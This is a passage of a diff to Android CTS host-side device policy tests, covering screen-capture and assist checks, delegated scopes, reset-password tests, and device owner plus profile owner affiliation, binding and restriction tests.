         String packageNameExtra = (packageName != null)
                 ? "--es extra-package-name " + packageName : "";
-        changePolicy("set-app-restrictions-manager", packageNameExtra, mUserId);
+        changePolicyOrFail("set-app-restrictions-manager", packageNameExtra, mUserId);
     }
 
-    private void changePolicy(String command, String extras, int userId)
+    private void setDelegatedScopes(String packageName, List<String> scopes)
             throws DeviceNotAvailableException {
-        String adbCommand = "am start -W --user " + userId
-                + " -c android.intent.category.DEFAULT "
-                + " --es extra-command " + command
-                + " " + extras
-                + " " + DEVICE_ADMIN_PKG + "/.SetPolicyActivity";
-        String commandOutput = getDevice().executeShellCommand(adbCommand);
-        CLog.d("Output for command " + adbCommand + ": " + commandOutput);
-        assertTrue("Command was expected to succeed " + commandOutput,
-                commandOutput.contains("Status: ok"));
+        final String packageNameExtra = "--es extra-package-name " + packageName;
+        String scopesExtra = "";
+        if (scopes != null && scopes.size() > 0) {
+            scopesExtra = "--esa extra-scopes-list " + scopes.get(0);
+            for (int i = 1; i < scopes.size(); ++i) {
+                scopesExtra += "," + scopes.get(i);
+            }
+        }
+        final String extras = packageNameExtra + " " + scopesExtra;
+
+        changePolicyOrFail("set-delegated-scopes", extras, mUserId);
+    }
+
+    private void setInstallPackageAppOps(String packageName, boolean allowed, int userId)
+            throws DeviceNotAvailableException {
+        String command = "appops set --user " + userId + " " + packageName + " " +
+                "REQUEST_INSTALL_PACKAGES "
+                + (allowed ? "allow" : "default");
+        CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
+    }
+
+    private void changePolicyOrFail(String command, String extras, int userId)
+            throws DeviceNotAvailableException {
+        changePolicyOrFail(command, extras, userId, DEVICE_ADMIN_PKG);
     }
 
     /**
      * Start SimpleActivity synchronously in a particular user.
      */
-    protected void startScreenCaptureDisabledActivity(int userId) throws Exception {
+    protected void startSimpleActivityAsUser(int userId) throws Exception {
         installAppAsUser(TEST_APP_APK, userId);
+        wakeupAndDismissKeyguard();
         String command = "am start -W --user " + userId + " " + TEST_APP_PKG + "/"
                 + TEST_APP_PKG + ".SimpleActivity";
         getDevice().executeShellCommand(command);
     }
 
-    // TODO: Remove this after investigation in b/28995242 is done
-    // So we can check which one is the top window / activity.
-    private void runDumpsysWindow() throws Exception {
-        String command = "dumpsys window displays";
-        CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
-        command = "dumpsys activity a";
-        CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
-    }
-
     protected void setScreenCaptureDisabled(int userId, boolean disabled) throws Exception {
         String testMethodName = disabled
                 ? "testSetScreenCaptureDisabled_true"
                 : "testSetScreenCaptureDisabled_false";
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
-        startScreenCaptureDisabledActivity(userId);
-        // [b/28995242], dump windows to make sure the top window is
-        // ScreenCaptureDisabledActivity.
-        runDumpsysWindow();
+        startSimpleActivityAsUser(userId);
         testMethodName = disabled
                 ? "testScreenCaptureImpossible"
                 : "testScreenCapturePossible";
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
     }
+
+    protected void setScreenCaptureDisabled_assist(int userId, boolean disabled) throws Exception {
+        // Set the policy.
+        String testMethodName = disabled
+                ? "testSetScreenCaptureDisabled_true"
+                : "testSetScreenCaptureDisabled_false";
+        executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
+        // Make sure the foreground activity is from the target user.
+        startSimpleActivityAsUser(userId);
+        // Check whether the VoiceInteractionService can retrieve the screenshot.
+        testMethodName = disabled
+                ? "testScreenCaptureImpossible_assist"
+                : "testScreenCapturePossible_assist";
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG,
+                ".AssistScreenCaptureDisabledTest",
+                testMethodName,
+                mPrimaryUserId);
+    }
+
+    /**
+     * Allows packageName to manage notification policy configuration, which
+     * includes toggling zen mode.
+     */
+    private void allowNotificationPolicyAccess(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        List<String> enabledPackages = getEnabledNotificationPolicyPackages(userId);
+        if (!enabledPackages.contains(packageName)) {
+            enabledPackages.add(packageName);
+            setEnabledNotificationPolicyPackages(enabledPackages, userId);
+        }
+    }
+
+    /**
+     * Disallows packageName to manage notification policy configuration, which
+     * includes toggling zen mode.
+     */
+    private void disallowNotificationPolicyAccess(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        List<String> enabledPackages = getEnabledNotificationPolicyPackages(userId);
+        if (enabledPackages.contains(packageName)) {
+            enabledPackages.remove(packageName);
+            setEnabledNotificationPolicyPackages(enabledPackages, userId);
+        }
+    }
+
+    private void setEnabledNotificationPolicyPackages(List<String> packages, int userId)
+            throws DeviceNotAvailableException {
+        getDevice().setSetting(userId, "secure", ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES,
+                String.join(":", packages));
+    }
+
+    private List<String> getEnabledNotificationPolicyPackages(int userId)
+            throws DeviceNotAvailableException {
+        String settingValue = getDevice().getSetting(userId, "secure",
+                ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
+        if (settingValue == null) {
+            return new ArrayList<String>();
+        }
+        return new ArrayList<String>(Arrays.asList(settingValue.split(":|\n")));
+    }
+
+    protected void setVoiceInteractionService(String componentName)
+            throws DeviceNotAvailableException {
+        getDevice().setSetting(
+                mPrimaryUserId, "secure", "voice_interaction_service", componentName);
+        getDevice().setSetting(mPrimaryUserId, "secure", "assist_structure_enabled", "1");
+        getDevice().setSetting(mPrimaryUserId, "secure", "assist_screenshot_enabled", "1");
+    }
+
+    protected void clearVoiceInteractionService() throws DeviceNotAvailableException {
+        getDevice().executeShellCommand("settings delete secure voice_interaction_service");
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
new file mode 100644
index 0000000..e4bf61c
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.platform.test.annotations.RequiresDevice;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Set of tests for use cases that apply to profile and device owner with DPC
+ * targeting API level 25.
+ */
+public abstract class DeviceAndProfileOwnerTestApi25 extends BaseDevicePolicyTest {
+
+    protected static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
+    protected static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp25.apk";
+
+    private static final String TEST_APP_APK = "CtsSimpleApp.apk";
+    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+    protected static final String ADMIN_RECEIVER_TEST_CLASS
+            = ".BaseDeviceAdminTest$BasicAdminReceiver";
+
+    protected static final String RESET_PASSWORD_TEST_CLASS = ".ResetPasswordTest";
+    protected static final String FBE_HELPER_CLASS = ".FbeHelper";
+
+    protected int mUserId;
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            getDevice().uninstallPackage(TEST_APP_PKG);
+
+            // Clear device lock in case test fails (testUnlockFbe in particular)
+            getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+            // Press the HOME key to close any alart dialog that may be shown.
+            getDevice().executeShellCommand("input keyevent 3");
+        }
+        super.tearDown();
+    }
+
+    /** Test for resetPassword for all devices. */
+    public void testResetPassword() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPassword");
+    }
+
+    /** Additional test for resetPassword for FBE-enabled devices. */
+    public void testResetPasswordFbe() throws Exception {
+        if (!mHasFeature || !mSupportsFbe) {
+            return;
+        }
+
+        // Lock FBE and verify resetPassword is disabled
+        executeDeviceTestMethod(FBE_HELPER_CLASS, "testSetPassword");
+        rebootAndWaitUntilReady();
+        executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordDisabled");
+
+        // Unlock FBE and verify resetPassword is enabled again
+        executeDeviceTestMethod(FBE_HELPER_CLASS, "testUnlockFbe");
+        executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPassword");
+    }
+
+    protected void executeDeviceTestClass(String className) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
+    }
+
+    /**
+     * Start SimpleActivity synchronously in a particular user.
+     */
+    protected void startSimpleActivityAsUser(int userId) throws Exception {
+        installAppAsUser(TEST_APP_APK, userId);
+        String command = "am start -W --user " + userId + " " + TEST_APP_PKG + "/"
+                + TEST_APP_PKG + ".SimpleActivity";
+        getDevice().executeShellCommand(command);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
new file mode 100644
index 0000000..be82fd4
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -0,0 +1,639 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import java.util.List;
+
+/**
+ * Tests for having both device owner and profile owner. Device owner is setup for you in
+ * {@link #setUp()} and it is always the {@link #COMP_DPC_PKG}. You are required to call
+ * {@link #setupManagedProfile} or {@link #setupManagedSecondaryUser} yourself to create another
+ * profile/user on each test case.
+ */
+public class DeviceOwnerPlusProfileOwnerTest extends BaseDevicePolicyTest {
+    private static final String BIND_DEVICE_ADMIN_SERVICE_GOOD_SETUP_TEST =
+            "com.android.cts.comp.BindDeviceAdminServiceGoodSetupTest";
+    private static final String MANAGED_PROFILE_PROVISIONING_TEST =
+            "com.android.cts.comp.provisioning.ManagedProfileProvisioningTest";
+    private static final String BIND_DEVICE_ADMIN_SERVICE_FAILS_TEST =
+            "com.android.cts.comp.BindDeviceAdminServiceFailsTest";
+    private static final String DEVICE_WIDE_LOGGING_TEST =
+            "com.android.cts.comp.DeviceWideLoggingFeaturesTest";
+    private static final String AFFILIATION_TEST =
+            "com.android.cts.comp.provisioning.AffiliationTest";
+    private static final String USER_RESTRICTION_TEST =
+            "com.android.cts.comp.provisioning.UserRestrictionTest";
+    private static final String MANAGEMENT_TEST =
+            "com.android.cts.comp.ManagementTest";
+
+    private static final String COMP_DPC_PKG = "com.android.cts.comp";
+    private static final String COMP_DPC_APK = "CtsCorpOwnedManagedProfile.apk";
+    private static final String COMP_DPC_ADMIN =
+            COMP_DPC_PKG + "/com.android.cts.comp.AdminReceiver";
+    private static final String COMP_DPC_PKG2 = "com.android.cts.comp2";
+    private static final String COMP_DPC_APK2 = "CtsCorpOwnedManagedProfile2.apk";
+    private static final String COMP_DPC_ADMIN2 =
+            COMP_DPC_PKG2 + "/com.android.cts.comp.AdminReceiver";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // We need managed user to be supported in order to create a profile of the user owner.
+        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
+        if (mHasFeature) {
+            // Set device owner.
+            installAppAsUser(COMP_DPC_APK, mPrimaryUserId);
+            if (!setDeviceOwner(COMP_DPC_ADMIN, mPrimaryUserId, /*expectFailure*/ false)) {
+                removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId);
+                fail("Failed to set device owner");
+            }
+            runDeviceTestsAsUser(
+                    COMP_DPC_PKG,
+                    MANAGEMENT_TEST,
+                    "testIsDeviceOwner",
+                    mPrimaryUserId);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            assertTrue("Failed to remove device owner.",
+                    removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId));
+        }
+
+        super.tearDown();
+    }
+
+    /**
+     * Both device owner and profile are the same package ({@link #COMP_DPC_PKG}).
+     */
+    public void testBindDeviceAdminServiceAsUser_corpOwnedManagedProfile() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
+
+        // Not setting affiliation ids, should not be possible to bind.
+        verifyBindDeviceAdminServiceAsUserFails(profileUserId);
+
+        // Now setting the same affiliation ids, binding is allowed.
+        setSameAffiliationId(profileUserId);
+        assertOtherProfilesEqualsBindTargetUsers(profileUserId);
+        verifyBindDeviceAdminServiceAsUser(profileUserId);
+
+        // Setting different affiliation ids makes binding unavailable.
+        setDifferentAffiliationId(profileUserId);
+        verifyBindDeviceAdminServiceAsUserFails(profileUserId);
+    }
+
+    /**
+     * Same as {@link #testBindDeviceAdminServiceAsUser_corpOwnedManagedProfile} except
+     * creating managed profile through ManagedProvisioning like normal flow
+     */
+    public void testBindDeviceAdminServiceAsUser_corpOwnedManagedProfileWithManagedProvisioning()
+            throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = provisionCorpOwnedManagedProfile();
+        setSameAffiliationId(profileUserId);
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGED_PROFILE_PROVISIONING_TEST,
+                "testEnableProfile",
+                profileUserId);
+        assertOtherProfilesEqualsBindTargetUsers(profileUserId);
+        verifyBindDeviceAdminServiceAsUser(profileUserId);
+    }
+
+    /**
+     * Same as
+     * {@link #testBindDeviceAdminServiceAsUser_corpOwnedManagedProfileWithManagedProvisioning}
+     * except we don't enable the profile.
+     */
+    public void testBindDeviceAdminServiceAsUser_canBindEvenIfProfileNotEnabled() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = provisionCorpOwnedManagedProfile();
+        setSameAffiliationId(profileUserId);
+        verifyBindDeviceAdminServiceAsUser(profileUserId);
+    }
+
+    /**
+     * Device owner is {@link #COMP_DPC_PKG} while profile owner is {@link #COMP_DPC_PKG2}.
+     * Therefore it isn't allowed to bind to each other.
+     */
+    public void testBindDeviceAdminServiceAsUser_byodPlusDeviceOwnerCannotBind() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = setupManagedProfile(COMP_DPC_APK2, COMP_DPC_PKG2, COMP_DPC_ADMIN2);
+
+        // Setting same affiliation ids shouldn't make a difference. Binding still not allowed.
+        setSameAffiliationId(profileUserId, COMP_DPC_PKG2);
+        // Testing device owner -> profile owner.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                BIND_DEVICE_ADMIN_SERVICE_FAILS_TEST,
+                mPrimaryUserId);
+        // Testing profile owner -> device owner.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG2,
+                BIND_DEVICE_ADMIN_SERVICE_FAILS_TEST,
+                profileUserId);
+    }
+
+    /**
+     * Both device owner and profile are the same package ({@link #COMP_DPC_PKG}), as setup
+     * by createAndManagedUser.
+     */
+    public void testBindDeviceAdminServiceAsUser_secondaryUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+        int secondaryUserId = setupManagedSecondaryUser();
+
+        installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
+        installAppAsUser(COMP_DPC_APK2, secondaryUserId);
+
+        // Shouldn't be possible to bind to each other, as they are not affiliated.
+        verifyBindDeviceAdminServiceAsUserFails(secondaryUserId);
+
+        // Set the same affiliation ids, and check that DO and PO can now bind to each other.
+        setSameAffiliationId(secondaryUserId);
+        verifyBindDeviceAdminServiceAsUser(secondaryUserId);
+    }
+
+    /**
+     * Test that the DO can talk to both a managed profile and managed secondary user at the same
+     * time.
+     */
+    public void testBindDeviceAdminServiceAsUser_compPlusSecondaryUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+        int secondaryUserId = setupManagedSecondaryUser();
+        int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
+
+        // Affiliate only the secondary user. The DO and the PO from that user can talk, but not
+        // the DO and the PO of the un-affiliated managed profile.
+        setSameAffiliationId(secondaryUserId);
+        verifyBindDeviceAdminServiceAsUser(secondaryUserId);
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                BIND_DEVICE_ADMIN_SERVICE_FAILS_TEST,
+                profileUserId);
+
+        // Now affiliate the work profile - the DO is able to talk to both.
+        setSameAffiliationId(profileUserId);
+        verifyBindDeviceAdminServiceAsUser(profileUserId);
+        verifyBindDeviceAdminServiceAsUser(secondaryUserId);
+    }
+
+    public void testCannotRemoveProfileIfRestrictionSet() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = setupManagedProfile(COMP_DPC_APK2, COMP_DPC_PKG2, COMP_DPC_ADMIN2);
+        addDisallowRemoveManagedProfileRestriction();
+        assertFalse(getDevice().removeUser(profileUserId));
+
+        clearDisallowRemoveManagedProfileRestriction();
+        assertTrue(getDevice().removeUser(profileUserId));
+    }
+
+    public void testCannotRemoveUserIfRestrictionSet() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+        int secondaryUserId = setupManagedSecondaryUser();
+        addDisallowRemoveUserRestriction();
+        assertFalse(getDevice().removeUser(secondaryUserId));
+
+        clearDisallowRemoveUserRestriction();
+        assertTrue(getDevice().removeUser(secondaryUserId));
+    }
+
+    public void testCanRemoveProfileEvenIfDisallowRemoveUserSet() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = setupManagedProfile(COMP_DPC_APK2, COMP_DPC_PKG2, COMP_DPC_ADMIN2);
+        addDisallowRemoveUserRestriction();
+        // DISALLOW_REMOVE_USER only affects users, not profiles.
+        assertTrue(getDevice().removeUser(profileUserId));
+        assertUserGetsRemoved(profileUserId);
+    }
+
+    public void testDoCanRemoveProfileEvenIfUserRestrictionSet() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
+        addDisallowRemoveUserRestriction();
+        addDisallowRemoveManagedProfileRestriction();
+
+        // The DO should be allowed to remove the managed profile, even though disallow remove user
+        // and disallow remove managed profile restrictions are set.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testCanRemoveManagedProfile",
+                mPrimaryUserId);
+        assertUserGetsRemoved(profileUserId);
+    }
+
+    public void testCannotAddProfileIfRestrictionSet() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // by default, disallow add managed profile users restriction is set.
+        assertCannotCreateManagedProfile(mPrimaryUserId);
+    }
+
+    /**
+     * Both device owner and profile are the same package ({@link #COMP_DPC_PKG}).
+     */
+    public void testIsProvisioningAllowed() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
+        // By default, disallow add managed profile is set, so provisioning a managed profile is
+        // not allowed for DPCs other than the device owner.
+        assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG2);
+        // But the device owner can still provision a managed profile because it owns the
+        // restriction.
+        assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
+
+        setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
+
+        clearDisallowAddManagedProfileRestriction();
+        // We've created a managed profile, but it's still possible to delete it to create a new
+        // one.
+        assertProvisionManagedProfileAllowed(COMP_DPC_PKG2);
+        assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
+
+        addDisallowRemoveManagedProfileRestriction();
+        // Now we can't delete the managed profile any more to create a new one.
+        assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG2);
+        // But if it is initiated by the device owner, it is still possible, because the device
+        // owner itself has set the restriction
+        assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
+    }
+
+    public void testWipeData_managedProfile() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
+        addDisallowRemoveManagedProfileRestriction();
+        // The PO of the managed profile should be allowed to delete the managed profile, even
+        // though the disallow remove profile restriction is set.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testWipeData",
+                profileUserId);
+        assertUserGetsRemoved(profileUserId);
+    }
+
+    public void testWipeData_secondaryUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+        int secondaryUserId = setupManagedSecondaryUser();
+        addDisallowRemoveUserRestriction();
+        // The PO of the managed user should be allowed to delete it, even though the disallow
+        // remove user restriction is set.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testWipeData",
+                secondaryUserId);
+        assertUserGetsRemoved(secondaryUserId);
+    }
+
+    public void testNetworkAndSecurityLoggingAvailableIfAffiliated() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        if (canCreateAdditionalUsers(1)) {
+            // If secondary users are allowed, create an affiliated one, to check that this still
+            // works if having both an affiliated user and an affiliated managed profile.
+            int secondaryUserId = setupManagedSecondaryUser();
+            setSameAffiliationId(secondaryUserId);
+        }
+
+        // Create a managed profile for a different DPC package name, to test that the features are
+        // still available as long as the users are affiliated
+        int profileUserId = setupManagedProfile(COMP_DPC_APK2, COMP_DPC_PKG2, COMP_DPC_ADMIN2);
+
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                DEVICE_WIDE_LOGGING_TEST,
+                "testEnablingNetworkAndSecurityLogging",
+                mPrimaryUserId);
+        try {
+            // No affiliation ids have been set on the profile, the features shouldn't be available.
+            runDeviceTestsAsUser(
+                    COMP_DPC_PKG,
+                    DEVICE_WIDE_LOGGING_TEST,
+                    "testRetrievingLogsThrowsSecurityException",
+                    mPrimaryUserId);
+
+            // Affiliate the DO and the managed profile (the secondary user is already affiliated,
+            // if it was added).
+            setSameAffiliationId(profileUserId, COMP_DPC_PKG2);
+            runDeviceTestsAsUser(
+                    COMP_DPC_PKG,
+                    DEVICE_WIDE_LOGGING_TEST,
+                    "testRetrievingLogsDoesNotThrowException",
+                    mPrimaryUserId);
+
+            setDifferentAffiliationId(profileUserId, COMP_DPC_PKG2);
+            runDeviceTestsAsUser(
+                    COMP_DPC_PKG,
+                    DEVICE_WIDE_LOGGING_TEST,
+                    "testRetrievingLogsThrowsSecurityException",
+                    mPrimaryUserId);
+        } finally {
+            runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                DEVICE_WIDE_LOGGING_TEST,
+                "testDisablingNetworkAndSecurityLogging",
+                mPrimaryUserId);
+        }
+    }
+
+    public void testRequestBugreportAvailableIfAffiliated() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        if (canCreateAdditionalUsers(1)) {
+            // If secondary users are allowed, create an affiliated one, to check that this still
+            // works if having both an affiliated user and an affiliated managed profile.
+            int secondaryUserId = setupManagedSecondaryUser();
+            setSameAffiliationId(secondaryUserId);
+        }
+
+        // Create a managed profile for a different DPC package name, to test that the feature is
+        // still available as long as the users are affiliated
+        int profileUserId = setupManagedProfile(COMP_DPC_APK2, COMP_DPC_PKG2, COMP_DPC_ADMIN2);
+
+        // No affiliation ids have been set on the profile, the feature shouldn't be available.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                DEVICE_WIDE_LOGGING_TEST,
+                "testRequestBugreportThrowsSecurityException",
+                mPrimaryUserId);
+
+        // Affiliate the DO and the managed profile (the secondary user is already affiliated,
+        // if it was added).
+        setSameAffiliationId(profileUserId, COMP_DPC_PKG2);
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                DEVICE_WIDE_LOGGING_TEST,
+                "testRequestBugreportDoesNotThrowException",
+                mPrimaryUserId);
+
+        setDifferentAffiliationId(profileUserId, COMP_DPC_PKG2);
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                DEVICE_WIDE_LOGGING_TEST,
+                "testRequestBugreportThrowsSecurityException",
+                mPrimaryUserId);
+    }
+
+    private void verifyBindDeviceAdminServiceAsUser(int profileOwnerUserId) throws Exception {
+        // Installing a non managing app (neither device owner nor profile owner).
+        installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
+        installAppAsUser(COMP_DPC_APK2, profileOwnerUserId);
+
+        // Testing device owner -> profile owner.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                BIND_DEVICE_ADMIN_SERVICE_GOOD_SETUP_TEST,
+                mPrimaryUserId);
+        // Testing profile owner -> device owner.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                BIND_DEVICE_ADMIN_SERVICE_GOOD_SETUP_TEST,
+                profileOwnerUserId);
+    }
+
+    private void verifyBindDeviceAdminServiceAsUserFails(int profileOwnerUserId) throws Exception {
+        // Installing a non managing app (neither device owner nor profile owner).
+        installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
+        installAppAsUser(COMP_DPC_APK2, profileOwnerUserId);
+
+        // Testing device owner -> profile owner.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                BIND_DEVICE_ADMIN_SERVICE_FAILS_TEST,
+                mPrimaryUserId);
+        // Testing profile owner -> device owner.
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                BIND_DEVICE_ADMIN_SERVICE_FAILS_TEST,
+                profileOwnerUserId);
+    }
+
+    private void setSameAffiliationId(
+            int profileOwnerUserId, String profileOwnerPackage) throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                AFFILIATION_TEST,
+                "testSetAffiliationId1",
+                mPrimaryUserId);
+        runDeviceTestsAsUser(
+                profileOwnerPackage,
+                AFFILIATION_TEST,
+                "testSetAffiliationId1",
+                profileOwnerUserId);
+    }
+
+    private void setSameAffiliationId(int profileOwnerUserId) throws Exception {
+        setSameAffiliationId(profileOwnerUserId, COMP_DPC_PKG);
+    }
+
+    private void setDifferentAffiliationId(
+            int profileOwnerUserId, String profileOwnerPackage) throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                AFFILIATION_TEST,
+                "testSetAffiliationId1",
+                mPrimaryUserId);
+        runDeviceTestsAsUser(
+                profileOwnerPackage,
+                AFFILIATION_TEST,
+                "testSetAffiliationId2",
+                profileOwnerUserId);
+    }
+
+    private void setDifferentAffiliationId(int profileOwnerUserId) throws Exception {
+        setDifferentAffiliationId(profileOwnerUserId, COMP_DPC_PKG);
+    }
+
+    private void assertProvisionManagedProfileAllowed(String packageName) throws Exception {
+        runDeviceTestsAsUser(
+                packageName,
+                MANAGEMENT_TEST,
+                "testProvisionManagedProfileAllowed",
+                mPrimaryUserId);
+    }
+
+    private void assertProvisionManagedProfileNotAllowed(String packageName) throws Exception {
+        runDeviceTestsAsUser(
+                packageName,
+                MANAGEMENT_TEST,
+                "testProvisionManagedProfileNotAllowed",
+                mPrimaryUserId);
+    }
+
+    /** Returns the user id of the newly created managed profile */
+    private int setupManagedProfile(String apkName, String packageName,
+            String adminReceiverClassName) throws Exception {
+        // Temporary disable the DISALLOW_ADD_MANAGED_PROFILE, so that we can create profile
+        // using adb command.
+        clearDisallowAddManagedProfileRestriction();
+        try {
+            final int userId = createManagedProfile(mPrimaryUserId);
+            installAppAsUser(apkName, userId);
+            setProfileOwnerOrFail(adminReceiverClassName, userId);
+            startUser(userId);
+            runDeviceTestsAsUser(
+                    packageName,
+                    MANAGEMENT_TEST,
+                    "testIsManagedProfile",
+                    userId);
+            return userId;
+        } finally {
+            // Adding back DISALLOW_ADD_MANAGED_PROFILE.
+            addDisallowAddManagedProfileRestriction();
+        }
+    }
+
+    /** Returns the user id of the newly created secondary user */
+    private int setupManagedSecondaryUser() throws Exception {
+        assertTrue(canCreateAdditionalUsers(1));
+
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testCreateSecondaryUser",
+                mPrimaryUserId);
+        List<Integer> newUsers = getUsersCreatedByTests();
+        assertEquals(1, newUsers.size());
+        int secondaryUserId = newUsers.get(0);
+        getDevice().startUser(secondaryUserId);
+        return secondaryUserId;
+    }
+
+    /** Returns the user id of the newly created secondary user */
+    private int provisionCorpOwnedManagedProfile() throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
